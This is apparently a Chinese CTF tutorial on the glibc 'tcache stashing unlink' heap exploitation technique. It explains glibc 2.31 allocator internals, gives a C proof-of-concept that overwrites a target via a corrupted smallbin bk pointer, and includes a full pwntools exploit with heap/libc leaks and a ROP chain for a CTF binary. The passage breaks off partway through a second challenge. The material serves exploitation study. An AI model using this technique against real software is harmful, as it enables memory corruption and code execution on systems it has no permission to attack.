0x0 简介
攻击成效:向任意地址写堆地址或分配任意地址
攻击前提:
- 能够控制 S m a l l B i n c h u n k \textcolor{orange}{Small\ Bin\ chunk} Small Bin chunk的bk指针
- 程序可以越过Tache取chunk。(calloc可以做到)
- 程序可以分配两种不同大小且属于 U n s o r t e d B i n \textcolor{orange}{Unsorted\ Bin} Unsorted Bin的chunk
本章分析环境是 G l i b c 2.31 \textcolor{green}{本章分析环境是Glibc2.31} 本章分析环境是Glibc2.31
0x1 原理
c a l l o c \textcolor{cornflowerblue}{calloc} calloc函数是直接调用 _ i n t _ m a l l o c \textcolor{cornflowerblue}{\_int\_malloc} _int_malloc函数分配内存的,并且会清空内存
void *
__libc_calloc (size_t n, size_t elem_size)
{
...
mem = _int_malloc (av, sz);
p = mem2chunk (mem);
/* Two optional cases in which clearing not necessary */
if (chunk_is_mmapped (p))
{
if (__builtin_expect (perturb_byte, 0))
return memset (mem, 0, sz);
return mem;
}
}
所以 c a l l o c \textcolor{cornflowerblue}{calloc} calloc可以越过 tcache取空闲内存。而 m a l l o c \textcolor{cornflowerblue}{malloc} malloc函数先是判断是否启用了 tcache,在启用的情况下优先从 tcache中取出空闲内存给用户
void *
__libc_malloc (size_t bytes)
{
...
#if USE_TCACHE
/* int_free also calls request2size, be careful to not pad twice. */
size_t tbytes;
if (!checked_request2size (bytes, &tbytes))
{
__set_errno (ENOMEM);
return NULL;
}
size_t tc_idx = csize2tidx (tbytes);
MAYBE_INIT_TCACHE ();
DIAG_PUSH_NEEDS_COMMENT;
if (tc_idx < mp_.tcache_bins
&& tcache
&& tcache->counts[tc_idx] > 0)
{
return tcache_get (tc_idx);
}
DIAG_POP_NEEDS_COMMENT;
#endif
if (SINGLE_THREAD_P)
{
victim = _int_malloc (&main_arena, bytes);
assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
&main_arena == arena_for_chunk (mem2chunk (victim)));
return victim;
}
...
}
@line:13 函数根据用户请求的 bytes去计算所在 tcache的下标 tc_idx,如果 tc_idx不超过 64并且该索引下的节点个数大于 0就从 tcache中取空闲堆给用户。
再来看最核心的代码,与本章主角相关的代码块
static void *
_int_malloc (mstate av, size_t bytes)
{
...
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);
// victim是smallbin中最后一个块
if ((victim = last (bin)) != bin)
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE //如果程序启用了Tcache
// 如果smallbin中还有其他相同大小的块,则将他们存到tcache中
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
// 如果smallbin不为空,且tcache没满,就将smallbin中剩下的块复制进tcache去
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
// 如果不是 main_arena,设置对应的标志
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;
// 将chunk放进tcache
tcache_put (tc_victim, tc_idx);
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
}
这是系统在分配属于 smallbin的 chunk时的核心操作。这里面的提到的 fastbin、unsortedbin、tcache、smallbin和 largebin均是使用头插法插入节点的,所以最后释放的 chunk会最靠近链表头部。
@line:9 victim是smallbin中的最后一个块,如果最后一个块不等于bin,说明smallbin不为空。接着将victim从smallbin中摘除 @line:17,最后返回给用户使用的部分就是 v i c t i m + 0 x 10 \textcolor{orange}{victim+0x10} victim+0x10 @line:48。而在此之前,如果启用了tcache,系统会将smallbin中剩下的块 逆序 放到tcache中 @line:26。
@line:34 tc_victim是 smallbin摘除掉用户请求的块之后剩下节点的最后一个节点,@line:40 将 tc_victim从 smallbin中摘除,放入相应的 tcache链表中。 t c a c h e s t a s h i n g u n l i n k 利用关键就在于此。 \textcolor{green}{tcache\ stashing\ unlink利用关键就在于此。} tcache stashing unlink利用关键就在于此。
这种利用手法要求 smallbin中有两个 chunk,通过修改 s m a l l b i n [ 0 ] − > b k \textcolor{orange}{smallbin[0]->bk} smallbin[0]−>bk为目标 c h u n k − 0 x 20 \textcolor{orange}{chunk-0x20} chunk−0x20,并且目标块的 bk(+0x18) 指向的地址可写。这么一修改相当于是往之前的 smallbin的链表头部插入了一个节点,但是这个节点的 fd字段无效,如下图所示:
t a r g e t − 0 x 20 \textcolor{orange}{target-0x20} target−0x20的 fd字段无效并不影响系统对 s m a l l b i n [ 0 ] \textcolor{orange}{smallbin[0]} smallbin[0]进行 unlink操作,因为 @line:42会将一个有效的指针赋值给 fd字段,只要保证 bk字段是有效的指针即可。
正如上图所示,我们的修改破坏了 smallbin链表的前后关系,@line:32的条件恒为真,如果 tcache不为空将会导致系统继续对 t a r g e t − 0 x 20 \textcolor{orange}{target-0x20} target−0x20的 bk指针指向的块进行 unlink操作,而我们没法保证也不想去管后续块的 bk指针是否有效,所以极有可能就会异常。为了避免这种情况,我们通常用 smallbin中同样大小的 5个块占掉 tcache相应大小的 5个节点。当用户再次使用 c a l l o c \textcolor{cornflowerblue}{calloc} calloc分配 smallbin中的 c h u n k − > s i z e − 0 x 10 \textcolor{orange}{chunk->size-0x10} chunk−>size−0x10时,系统会把图中的 s m a l l b i n [ 1 ] + 0 x 10 \textcolor{orange}{smallbin[1]+0x10} smallbin[1]+0x10返回给用户,并将 s m a l l b i n [ 0 ] + 0 x 10 \textcolor{orange}{smallbin[0]+0x10} smallbin[0]+0x10和 t a r g e t − 0 x 10 \textcolor{orange}{target-0x10} target−0x10链入 tcache相应大小的链表中,并且 t a r g e t − 0 x 10 \textcolor{orange}{target-0x10} target−0x10处在 tcache第一个节点位置。最后用户可以通过 m a l l o c \textcolor{cornflowerblue}{malloc} malloc一个大小 s i z e = t c a c h e [ 0 ] − > s i z e − 0 x 10 \textcolor{orange}{size\ =\ tcache[0]->size-0x10} size = tcache[0]−>size−0x10就可以得到块 t a r g e t − 0 x 10 \textcolor{orange}{target-0x10} target−0x10。
再来看看系统是如何将空闲的块放入 smallbin对应的链表中的。
for (;; )
{
int iters = 0;
// 如果unsortedbin不为空
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
// victim是当前unsortedbin中的第一个块
bck = victim->bk;
size = chunksize (victim);
mchunkptr next = chunk_at_offset (victim, size);
...
/* 将victim从unsortedbin中摘除 */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
/* 如果victim大小正好和用户请求的大小一致
,则将victim+0x10返回给用户
*/
if (size == nb)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
set_non_main_arena (victim);
...
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
/* place chunk in bin */
if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
...
}
// 将victim放入相应的bin链表中
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
...
#define MAX_ITERS 10000
if (++iters >= MAX_ITERS)
break;
}
...
/*
If a large request, scan through the chunks of current bin in
sorted order to find smallest that fits. Use the skip list for this.
*/
if (!in_smallbin_range (nb))
{
bin = bin_at (av, idx);
/* 如果largebin不为空 */
if ((victim = first (bin)) != bin
&& (unsigned long) chunksize_nomask (victim)
>= (unsigned long) (nb))
{
victim = victim->bk_nextsize;
while (((unsigned long) (size = chunksize (victim)) <
(unsigned long) (nb)))
victim = victim->bk_nextsize;
/* Avoid removing the first entry for a size so that the skip
list does not have to be rerouted. */
if (victim != last (bin)
&& chunksize_nomask (victim)
== chunksize_nomask (victim->fd))
victim = victim->fd;
remainder_size = size - nb;
unlink_chunk (av, victim);
// 如果剩余大小小于0x1F,则将这剩余部分与用户请求的大小视作一个整体
if (remainder_size < MINSIZE)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
set_non_main_arena (victim);
}
/* 如果剩余大小大于等于0x1F,则进行切割,剩余部分将链入unsortedbin对应的链表中 */
else
{
remainder = chunk_at_offset (victim, nb);
/* We cannot assume the unsorted list is empty and therefore
have to perform a complete insert here. */
bck = unsorted_chunks (av);
fwd = bck->fd;
if (__glibc_unlikely (fwd->bk != bck))
malloc_printerr ("malloc(): corrupted unsorted chunks");
// 重新将剩下的块链入unsortedbin对应的链表中
remainder->bk = bck;
remainder->fd = fwd;
bck->fd = remainder;
fwd->bk = remainder;
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);
}
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
++idx;
bin = bin_at (av, idx);
block = idx2block (idx);
map = av->binmap[block];
bit = idx2bit (idx);
for (;; )
{
...
/* Inspect the bin. It is likely to be non-empty */
victim = last (bin);
/* If a false alarm (empty bin), clear the bit. */
// 如果largebin为空
if (victim == bin)
{
...
}
else
{
size = chunksize (victim);
/* We know the first chunk in this bin is big enough to use. */
assert ((unsigned long) (size) >= (unsigned long) (nb));
remainder_size = size - nb;
/* unlink */
unlink_chunk (av, victim);
/* Exhaust */
if (remainder_size < MINSIZE)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
set_non_main_arena (victim);
}
// 切割
else
{
// remainder是largebin中切割剩下的块
remainder = chunk_at_offset (victim, nb);
bck = unsorted_chunks (av);
fwd = bck->fd;
if (__glibc_unlikely (fwd->bk != bck))
malloc_printerr ("malloc(): corrupted unsorted chunks 2");
// 将remainder重新链入unsortedbin
remainder->bk = bck;
remainder->fd = fwd;
bck->fd = remainder;
fwd->bk = remainder;
if (in_smallbin_range (nb))
av->last_remainder = remainder;
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
// 给切割出来的块加上头部数据
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
// 剩余块也需要修改一下头部数据
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);
}
check_malloced_chunk (av, victim, nb);
// 将victim+0x10返回给用户
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
...
}
以上代码片段是系统根据用户请求内存分配大小对 unsortedbin的处理,有这么几种情况:
-
当 unsortedbin中有一个块(不妨记为 unsorted_chunk),其大小大于smallbin的上限(0x3ff),此时用户请求一个大小为size1的内存,size1小于 unsorted_chunk,系统就会将 unsorted_chunk 从 unsortedbin中摘除 @line:14,放入largebin中**@line:52**。然后在 largebin中切割出合适的块 @line:173返回给用户 @line:203,并将剩下的块重新链入 unsortedbin对应的链表中 @line:182。
-
当unsortedbin中有一个块(不妨记为 unsorted_chunk),其大小小于smallbin的上限(0x3ff),此时用户请求一个大小为 size1的内存,size1等于unsortedbin_chunk,系统就会将 unsorted_chunk 从 unsortedbin中摘除 @line:14,然后返回给用户 @line:31。
-
当unsortedbin中有一个块(不妨记为 unsorted_chunk),其大小小于smallbin的上限(0x3ff),此时用户请求一个大小为 size1的内存,size1大于unsortedbin_chunk,系统就会将 unsorted_chunk 从 unsortedbin中摘除 @line:14,然后放到 smallbin相应的链表中 @line:52。接着查找 largebin中有没有合适的块可以分配给用户,找到了就切割给用户 @line:158,找不到就从top_chunk中切割给用户。
下面再来看 t c a c h e _ p u t \textcolor{cornflowerblue}{tcache\_put} tcache_put函数
static __always_inline void tcache_put (mchunkptr chunk, size_t tc_idx)
{
// e = chunk + 0x10
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
该函数并没有任何检测,当Tcahce中有多余的空位时,就直接将空闲的 c h u n k + 0 x 10 \textcolor{orange}{chunk+0x10} chunk+0x10放进来。
0x2 概念验证
#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>
char target[]="Can you modify me?";
int main()
{
puts(" ========================================================================");
puts("| Wellcome to the Tcache stashing unlink attack! |");
puts(" ========================================================================");
printf("\n[*] Info:\n");
printf("[+] target addr = %p, data: %s\n",target,target);
puts("--------------------------------------------------------------------------");
printf("[*] Step1: Fill tcache with 5 chunk of size 0x30.\n");
char* pad1 = (char*)malloc(0x20);
printf("[+] pad1 addr: %p\n",pad1);
//用5个0x30大小的chunk填充Tcache
for(int i=0;i<5;i++)
{
free(pad1);
// 清除key,绕过double free的检测
*(size_t*)(pad1+8) = 0;
}
puts("--------------------------------------------------------------------------");
printf("[*] Step2: Free chunk of size 0x460 into unsortedbin.\n");
char* unsorted_chunk1 = (char*)calloc(0x450,1);
printf("[+] unsorted_chunk1 addr: %p\n",unsorted_chunk1);
char* pad2 = (char*)calloc(0x20,1);
printf("[+] pad2 addr: %p\n",pad2);
// 将unsorted_chunk1放入 unsortedbin
free(unsorted_chunk1);
puts("--------------------------------------------------------------------------");
printf("[*] Step3: Cut a chunk of size 0x430 from unsortedbin.\n");
// 从unsortedbin中切割0x450-0x30大小的chunk出来
char* p1 = (char*)calloc(0x450-0x30,1);
printf("[+] p1 addr: %p\n",p1);
puts("--------------------------------------------------------------------------");
printf("[*] Step4: System puts the remaining chunk of size 0x30 into smallbin.\n");
// 将剩下的0x30大小的chunk放入smallbin
char* p2 = (char*)calloc(0x60,1);
printf("[+] p2 addr: %p\n",p2);
puts("--------------------------------------------------------------------------");
printf("[*] Step5: Repeat steps 2 through 4 above.\n");
// 用同样的方法,再制作一个smallbin chunk
char* unsorted_chunk2 = (char*)calloc(0x450,1);
printf("[+] unsorted_chunk2 addr: %p\n",unsorted_chunk2);
// 这里不能申请0x20大小的块,否则会从smallbin中取出
char* pad3 = (char*)calloc(0x30,1);
printf("[+] pad3 addr: %p\n",pad3);
free(unsorted_chunk2);
// 从unsortedbin中切割0x450-0x30大小的chunk出来
char* p3 = (char*)calloc(0x450-0x30,1);
printf("[+] p3 addr: %p\n",p3);
// 将剩下的0x30大小的chunk放入smallbin
char* p4 = (char*)calloc(0x60,1);
printf("[+] p4 addr: %p\n",p4);
puts("--------------------------------------------------------------------------");
printf("[*] Step6: Modify smallbin[0]->bk = target-0x20, \nand trigger Tcache stashing unlink.\n");
// 修改smmabin[0]->bk = target-0x20;
*(size_t*)(pad3-0x28) = (size_t)(target-0x20);
// 触发Tcache stashing unlink
char* p7 = (char*)calloc(0x20,1);
// 分配得到目标内存target-0x10
char* p8 = (char*)malloc(0x20);
puts("--------------------------------------------------------------------------");
printf("[*] Succ: Modify target data: hack!\n");
strcpy(p8+0x10,"hack!");
printf("[+] Look up: %s\n",target);
return 0;
}
0x3 总结
综上,利用 T c a c h e S t a s h i n g U n l i n k \textcolor{orange}{Tcache\ Stashing\ Unlink} Tcache Stashing Unlink 的一般步骤:
- 如果是想通过 T c a c h e S t a s h i n g U n l i n k \textcolor{orange}{Tcache\ Stashing\ Unlink} Tcache Stashing Unlink任意地址(Target)分配,则先释放5个size1的chunk进入Tcache;如果只是想任意地址写glibc内存,则先要释放6个size1的chunk进入Tcache。
- 将一个大小为 size2的块释放进 unsortedbin中。
- 使用函数 c a l l o c \textcolor{cornflowerblue}{calloc} calloc分配一个大小为 size3的块,要求 s i z e 3 < s i z e 2 ; s i z e 2 − s i z e 3 = s i z e 1 \textcolor{orange}{size3<size2;\ size2-size3\ =\ size1} size3<size2; size2−size3 = size1。
- 使用函数 c a l l o c \textcolor{cornflowerblue}{calloc} calloc分配一个大小为 size4的块,要求 s i z e 4 > s i z e 1 \textcolor{orange}{size4>size1} size4>size1。此时,系统就会将unsortedbin中剩下大小为size1的块链入 smallbin相应的链表中。
- 重复一次步骤 2到 4,此时 smallbin中就有了两个相同大小的块,大概样子是 c h u n k 2 − > f d = > c h u n k 1 ; c h u n k 2 − > b k = > m a i n _ a r e n a _ n e a r \textcolor{orange}{chunk2->fd=>chunk1;chunk2->bk=>main\_arena\_near} chunk2−>fd=>chunk1;chunk2−>bk=>main_arena_near。
- 在步骤 5的基础上编辑chunk2使得 c h u n k 2 − > f d = > c h u n k 1 \textcolor{orange}{chunk2->fd=>chunk1} chunk2−>fd=>chunk1保持不变,但是chunk2_bk指向你想要的内存地址( T a r g e t − 0 x 20 \textcolor{orange}{Target-0x20} Target−0x20)。 注意: T a r g e t − 0 x 8 必须指向可写地址 \textcolor{green}{注意:Target-0x8必须指向可写地址} 注意:Target−0x8必须指向可写地址
- 使用 c a l l o c ( ) \textcolor{cornflowerblue}{calloc()} calloc()分配 s i z e 3 − 0 x 10 \textcolor{orange}{size3-0x10} size3−0x10大小的 chunk就会触发 T c a c h e S t a s h i n g U n l i n k \textcolor{orange}{Tcache\ Stashing\ Unlink} Tcache Stashing Unlink。
- 再使用 m a l l o c ( ) \textcolor{cornflowerblue}{malloc()} malloc()分配 s i z e 3 − 0 x 10 \textcolor{orange}{size3-0x10} size3−0x10大小的chunk就会得到目标地址 T a r g e t − 0 x 10 \textcolor{orange}{Target-0x10} Target−0x10,或者目标地址 T a r g e t − 0 x 10 \textcolor{orange}{Target-0x10} Target−0x10被写入了 glibc地址。
0x4 实战
例1.2020新春红包题3
[保护]:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[分析]:
程序一共有4个可用操作:
- Get red packets。对应的伪代码:
if ( v4 == 1 )
{
if ( counts <= 0 )//counts=28
Exit();
Add(&v3);
--counts;
}
...
int __fastcall Add(char *a1)
{
int v2; // [rsp+10h] [rbp-20h]
int v3; // [rsp+14h] [rbp-1Ch]
unsigned int v4; // [rsp+18h] [rbp-18h]
signed int size; // [rsp+1Ch] [rbp-14h]
printf("Please input the red packet idx: ");
v4 = GetNum();
if ( v4 > 0x10 )
Exit();
printf("How much do you want?(1.0x10 2.0xf0 3.0x300 4.0x400): ");
v3 = GetNum();
if ( v3 == 2 )
{
size = 0xF0;
}
else if ( v3 > 2 )
{
if ( v3 == 3 )
{
size = 0x300;
}
else
{
if ( v3 != 4 )
goto LABEL_14;
size = 0x400;
}
}
else
{
if ( v3 != 1 )
{
LABEL_14:
size = 0;
goto LABEL_15;
}
size = 16;
}
LABEL_15:
if ( size != 16 && size != 240 && size != 768 && size != 1024 )
Exit();
*&a1[16 * v4] = calloc(1uLL, size);
*&a1[16 * v4 + 8] = size;
printf("Please input content: ", size);
v2 = read(0, *&a1[16 * v4], *&a1[16 * v4 + 8]);
if ( v2 <= 0 )
Exit();
*(v2 - 1LL + *&a1[16 * v4]) = 0;
return puts("Done!");
}
- 只能申请0x10、0xf0、0x300和0x400的块,并且该操作只能进行28次。
- Throw red packets。对应为伪代码:
int __fastcall Del(char *a1)
{
unsigned int v2; // [rsp+1Ch] [rbp-4h]
printf("Please input the red packet idx: ");
v2 = GetNum();
if ( v2 > 0x10 || !*&a1[16 * v2] )
Exit();
free(*&a1[16 * v2]);
return puts("Done!");
}
- 存在UAF漏洞。
- change red packets。对应伪代码:
int __fastcall Edit(__int64 a1)
{
int v2; // [rsp+18h] [rbp-8h]
unsigned int v3; // [rsp+1Ch] [rbp-4h]
if ( qword_4010 <= 0 )
Exit();
--qword_4010;
printf("Please input the red packet idx: ");
v3 = GetNum();
if ( v3 > 0x10 || !*(16LL * v3 + a1) )
Exit();
printf("Please input content: ");
v2 = read(0, *(16LL * v3 + a1), *(16LL * v3 + a1 + 8));
if ( v2 <= 0 )
Exit();
*(v2 - 1LL + *(16LL * v3 + a1)) = 0;
return puts("Done!");
}
- 存在UAF漏洞,可以修改释放后块的数据。
- watch red packets。对应伪代码:
int __fastcall Show(__int64 a1)
{
unsigned int v2; // [rsp+1Ch] [rbp-4h]
printf("Please input the red packet idx: ");
v2 = GetNum();
if ( v2 > 0x10 || !*(16LL * v2 + a1) )
Exit();
puts(*(16LL * v2 + a1));
return puts("Done!");
}
- 存在UAF,可以输出释放后块的数据。
- 后门函数,对应的选项666:
ssize_t BackDoor()
{
char buf; // [rsp+0h] [rbp-80h]
if ( *(g_Mem + 256) <= 0x7F0000000000LL || *(g_Mem + 255) || *(g_Mem + 257) )
Exit();
puts("You get red packet!");
printf("What do you want to say?");
return read(0, &buf, 0x90uLL); // 栈溢出
}
- 老套路了,这一看就应该是最终要使用到的地方。因为程序在一开始的时候就设置了沙箱规则:
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x07 0x00 0x40000000 if (A >= 0x40000000) goto 0011
0004: 0x15 0x06 0x00 0x0000003b if (A == execve) goto 0011
0005: 0x15 0x00 0x04 0x00000001 if (A != write) goto 0010
0006: 0x20 0x00 0x00 0x00000024 A = count >> 32 # write(fd, buf, count)
0007: 0x15 0x00 0x02 0x00000000 if (A != 0x0) goto 0010
0008: 0x20 0x00 0x00 0x00000020 A = count # write(fd, buf, count)
0009: 0x15 0x01 0x00 0x00000010 if (A == 0x10) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0011: 0x06 0x00 0x00 0x00000000 return KILL
- 程序禁用了 e x e c v e ( ) \textcolor{cornflowerblue}{execve()} execve(),所以只能通过栈溢出构造Ropchain读取flag。
代码审计到这也就差不多了,如何利用还得根据实际依赖的glibc版本,此题已说明版本为glibc2.29。在此版本下不能利用 h o u s e o f s t o r m \textcolor{orange}{house\ of\ storm} house of storm(不能unlink)和 u n s o r t b i n a t t a c k \textcolor{orange}{unsortbin\ attack} unsortbin attack,并且分配的大小也都做了限制,所以也不能使用 f a s t b i n a t t a c k \textcolor{orange}{fastbin\ attack} fastbin attack。回顾程序留下的后门,要想使用它,则必须满足if条件。又因为 glibc2.29引入了 Tcache机制,并且程序使用的是 c a l l o c ( ) \textcolor{cornflowerblue}{calloc()} calloc()分配内存,所以可以使用本节介绍的方法。
[利用]:
-
为了得到smallbin,先要把Tcache填满。smallbin范围 [ 0 x 20 , 0 x 3 f 0 ] \textcolor{orange}{[0x20,0x3f0]} [0x20,0x3f0],所以先分配再释放7个0x410的chunk。
for i in range(7): Add(1,4,'0x410') Del(1)
-
接着还需要泄露堆和glibc的内存,所以再分配和释放7个0xf0大小的unsortbin的chunk。首先使用6个0xf0的chunk填充Tcache。
for i in range(6): Add(2,2,'0x100') Del(2)
-
泄露Heap
Show(1) heap=u64(p.recv(6).ljust(8,'\0'))
-
泄露glibc内存
Add(1,4,'0x410')#用于释放之后泄露glibc内存 Add(2,3,'0x310')#防止与topchunk合并 Del(1) Show(1) libc_addr=u64(p.recv(6).ljust(8,'\x00'))-0x1e4ca0
-
此时unsortbin中存入一个0x410大小的chunk,分配两个0x310大小的chunk,就能得到一个大小为0x100的smallbin。按照此方法生成两个smallbin。
Add(2,3,'0x310') Add(3,3,'0x310') Add(2,4,'0x410') Add(3,3,'0x310') Del(2) Add(3,3,'0x310') Add(3,3,'0x310')
-
伪造处在smallbin中的chunk2。
pay='\0'*0x300+p64(0)+p64(0x101)+p64(heap+0x37e0)+p64(heap+0x260+0x800-0x10)#注意:heap+0x260+0x800-0x10代表的地址是接下来要新分配的一块堆地址,并在该堆地址中布置Ropchain。 Edit(2,pay)
-
最后就是正常的布置Ropchain环节了。
Add(3,2,'Hack') pop_rsi=0x0000000000026f9e+libc_addr pop_rdi=0x0000000000026542+libc_addr pop_rdx=0x000000000012bda6+libc_addr leave=0x0000000000058373+libc_addr rop_addr=heap+0x4940+0x8 flag_addr=rop_addr+0x100 rop='a'*8 rop+='flag'.ljust(8,'\0') rop+=p64(pop_rdi)+p64(rop_addr)+p64(pop_rsi)+p64(0)+p64(libc.sym['open']+libc_addr) rop+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdx)+p64(0x30)+p64(libc.sym['read']+libc_addr) rop+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdx)+p64(0x30)+p64(libc.sym['write']+libc_addr) Add(3,4,rop) p.sendlineafter("input: ",'666') p.recvline() p.sendline('a'*0x80+p64(rop_addr)+p64(leave))
[EXP]:
#coding=utf8
"""
# Author: brucy
# Created Time : Sat 05 Dec 2020 09:56:57 PM PST
# File Name: exp.py
# Description:
"""
from pwn import*
#context.log_level=1
p=process('./RedPacket_SoEasyPwn1')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
def Add(idx,sid,c):
p.sendlineafter("input: ",'1')
p.sendlineafter("idx: ",str(idx))
p.sendlineafter("): ",str(sid))
p.sendlineafter("content: ",c)
def Edit(idx,c):
p.sendlineafter("input: ",'3')
p.sendlineafter("idx: ",str(idx))
p.sendlineafter("content: ",c)
def Del(idx):
p.sendlineafter("input: ",'2')
p.sendlineafter("idx: ",str(idx))
def Show(idx):
p.sendlineafter("input: ",'4')
p.sendlineafter("idx: ",str(idx))
for i in range(7):#fill up Tcache wtih chunk which the size of 0x400.
Add(0,4,'0x410')
Del(0)
for i in range(6):
Add(1,2,'0x100')
Del(1)
Show(1)
heap=u64(p.recv(6).ljust(8,'\x00'))-0x32e0
success('heap:'+hex(heap))
Add(1,4,'0x410')
Add(2,3,'0x310')
Del(1)
Show(1)
libc_addr=u64(p.recv(6).ljust(8,'\x00'))-0x1e4ca0
success('libc_addr:'+hex(libc_addr))
Add(2,3,'0x310')
Add(3,3,'0x310')
Add(2,4,'0x410')
Add(3,3,'0x310')
Del(2)
Add(3,3,'0x310')
Add(3,3,'0x310')
pay='\0'*0x300+p64(0)+p64(0x101)+p64(heap+0x37e0)+p64(heap+0x260+0x800-0x10)
Edit(2,pay)
Add(3,2,'Hack')
pop_rsi=0x0000000000026f9e+libc_addr
pop_rdi=0x0000000000026542+libc_addr
pop_rdx=0x000000000012bda6+libc_addr
leave=0x0000000000058373+libc_addr
rop_addr=heap+0x4940+0x8
flag_addr=rop_addr+0x100
rop='a'*8
rop+='flag'.ljust(8,'\0')
rop+=p64(pop_rdi)+p64(rop_addr)+p64(pop_rsi)+p64(0)+p64(libc.sym['open']+libc_addr)
rop+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdx)+p64(0x30)+p64(libc.sym['read']+libc_addr)
rop+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdx)+p64(0x30)+p64(libc.sym['write']+libc_addr)
Add(3,4,rop)
p.sendlineafter("input: ",'666')
p.recvline()
p.sendline('a'*0x80+p64(rop_addr)+p64(leave))
p.interactive()
例2.2020高校战疫 two_chunk
[保护]:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[Glibc版本]:
strings libc.so.6 |grep GLIB
...
GNU C Library (Ubuntu GLIBC 2.30-0ubuntu2) stable release version 2.30.
- Glibc版本为2.30
[分析]:
程序一开始通过 m m a p ( ) \textcolor{cornflowerblue}{mmap()} mmap()映射一块0x2000可读可写的内存。
__int64 Init()
{
__int64 g_Mem; // rax
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
Welcome();
g_Mem = mmap(0x23333000, 0x2000uLL, 3, 34, -1, 0LL);
buf = g_Mem;
return g_Mem;
}
接着是让用户输入名字和信息
ssize_t Login()
{
void *v0; // rsi
printf("leave your name: ");
v0 = buf;
read(0, buf, 0x30uLL);
printf("leave your message: ", v0);
return read(0, buf + 48, 0x40uLL);
}
程序最多能够添加2个chunk,并且 s i z e ∈ ( 0 x 80 , 0 x 3 f f ] \textcolor{orange}{size\in(0x80,0x3ff]} size∈(0x80,0x3ff]。程序只能有一次编辑和输出的机会,另外隐藏选项6可以获得额外的一次分配0x80大小的chunk和编辑该chunk的机会;隐藏选项7则是将程序一开始**mmap()**映射的内存当做函数指针进行调用,这会是一个最终的利用点。
程序的漏洞点在编辑函数中:
__int64 Edit_once()
{
int v1; // [rsp+Ch] [rbp-4h]
puts("just edit once!");
if ( !dword_4014 )
Exit();
printf("idx: ");
v1 = GetId();
if ( !(&g_HeapList)[2 * v1] )
Exit();
printf("content: ");
read(0, (&g_HeapList)[2 * v1], g_SizeList[4 * v1] + 0x20);// 堆溢出
return (dword_4014-- - 1);
}
我们首选还是要泄露堆地址,注意到程序在新建的操作中有个if分支:
int Add()
{
_DWORD *v0; // rax
int v2; // [rsp+8h] [rbp-8h]
int size; // [rsp+Ch] [rbp-4h]
printf("idx: ");
v2 = GetId(); // 只能输入0和1
if ( (&g_HeapList)[2 * v2] )
Exit();
printf("size: ");
size = GetNum();
if ( size == 0x5B25 && dword_4020 ) // 泄露堆地址需要用到这个分支
{
(&g_HeapList)[2 * v2] = malloc(0xE9uLL);
--dword_4020;
}
else
{
if ( size <= 0x80 || size > 0x3FF ) // 只能分配unsortedbin的chunk
Exit();
(&g_HeapList)[2 * v2] = calloc(1uLL, size);
}
if ( strchr((&g_HeapList)[2 * v2], 0x7F) )
Exit();
